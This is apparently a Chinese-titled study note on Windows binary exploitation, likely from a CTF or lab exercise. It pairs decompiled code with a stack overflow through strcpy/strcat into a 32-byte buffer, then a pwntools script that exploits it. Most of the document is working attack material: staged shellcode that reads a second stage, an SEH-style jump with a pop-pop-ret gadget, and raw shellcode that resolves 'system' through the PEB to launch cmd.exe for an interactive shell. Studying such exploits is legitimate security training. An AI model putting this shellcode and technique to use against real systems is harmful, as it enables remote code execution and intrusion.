windows pwn 学习

int sub_401060()
{
  FILE *v0; // eax
  char v2; // [esp+0h] [ebp-8h]
  char *Buffer; // [esp+4h] [ebp-4h]

  v2 = gift();
  Buffer = (char *)malloc(0x1000u);
  sub_401180("your gift: %p\n", v2);
  sub_401180("give your data:", v2);
  v0 = _acrt_iob_func(0);
  fgets(Buffer, 200, v0);
  return sub_4010E0(Buffer);
}

char *__cdecl sub_4010E0(char *Source)
{
  char Destination[32]; // [esp+0h] [ebp-24h] BYREF

  strcpy(Destination, Source);
  return strcat(Destination, Source);
}

jmp_8 = asm("jmp $+8")

from pwn import * 

pop2 = 0x271f16ac #: pop ecx ; pop ebp ; ret
#context.log_level='debug'
context.arch='i386'
p = remote("127.0.0.1",1234)

shell = b'U\x8b\xec\x83\xec SVW\xc7E\xe8u\x00c\x00\xc7E\xecr\x00t\x00f\xc7E\xfccm\xc6E\xfed\xc7E\xe0systf\xc7E\xe4em\xc6E\xe6\x00d\xa10\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89E\xf8\x8b}\xf8\x83\xc7\x14\x8b\x17;\xd7t8\x8dd$\x00\x8br(\x8dM\xe83\xc0+\xf1\x8d\x9b\x00\x00\x00\x00\x8d\x0cFf\x8bL\r\xe8f;LE\xe8u\x06@\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\x00\x00\x00\x8b\x12;\xd7u\xcc\x8b}\xf8\x8bG<3\xf6\x8b\\8x\x8bD;\x1c\x03\xdf\x03\xc7\x89E\xf0\x8bK \x8bC$\x03\xcf\x03\xc7\x89M\xec\x89E\xf49s\x18vI\x8b\x14\xb1\x8dE\xe0\x03\xd73\xc9+\xd0\x8dd$\x00\x8d\x04\x11\x8aD\x05\xe0:D\r\xe0u\x06A\x83\xf9\x06|\xed\x83\xf9\x06u\x18\x8bM\xf0\x8dE\xfcP\x8bE\xf4\x0f\xb7\x04p\x8b\x04\x81\x03\xc7\xff\xd0\x83\xc4\x04\x8bM\xecF;s\x18r\xb7_^[\x8b\xe5]\xc3\x8bz\x10\xeb\x82'

assert(b'\n' not in shell)

# eip = p32(0x62616167)
# payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
# offset = cyclic_find(payload,eip)
# success('offset : ' + hex(offset))

shellcode = '''
    mov ecx,0x01010101
    mov eax,0x14121bd           /*__acrt_iob_func*/
    xor eax,ecx 
    mov ebx,[eax]
    xor ecx,ecx
    push ecx
    call ebx
    pop ecx

    push eax

    mov ecx,0x01010101          /*fgets*/
    push ecx

    xor eax,eax
    push eax
emmm:
    pop eax
    test eax,eax
    jnz read
    call near ptr emmm
read:

    sub ax,0x3010
    push eax

    mov eax,0x14121c1
    xor eax,ecx
    mov ebx,[eax]
    call ebx

    pop ebx
    jmp ebx
'''

#shellcode = asm(shellcode)
shellcode = b'\xb9\x01\x01\x01\x01\xb8\xbd!A\x011\xc8\x8b\x181\xc9Q\xff\xd3YP\xb9\x01\x01\x01\x01Q1\xc0PX\x85\xc0u\x05\xe8\xf6\xff\xff\xfff-\x100P\xb8\xc1!A\x011\xc8\x8b\x18\xff\xd3[\xff\xe3'

print(shellcode)
assert(b'\n' not in shellcode and b'\x00' not in shellcode)
assert(len(shellcode) < 120)

print(shellcode)

payload = shellcode.ljust(120,b'\xAA') + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe'

p.sendlineafter(b'data:',payload)

p.sendline(b'\xcc' + shell)
p.interactive()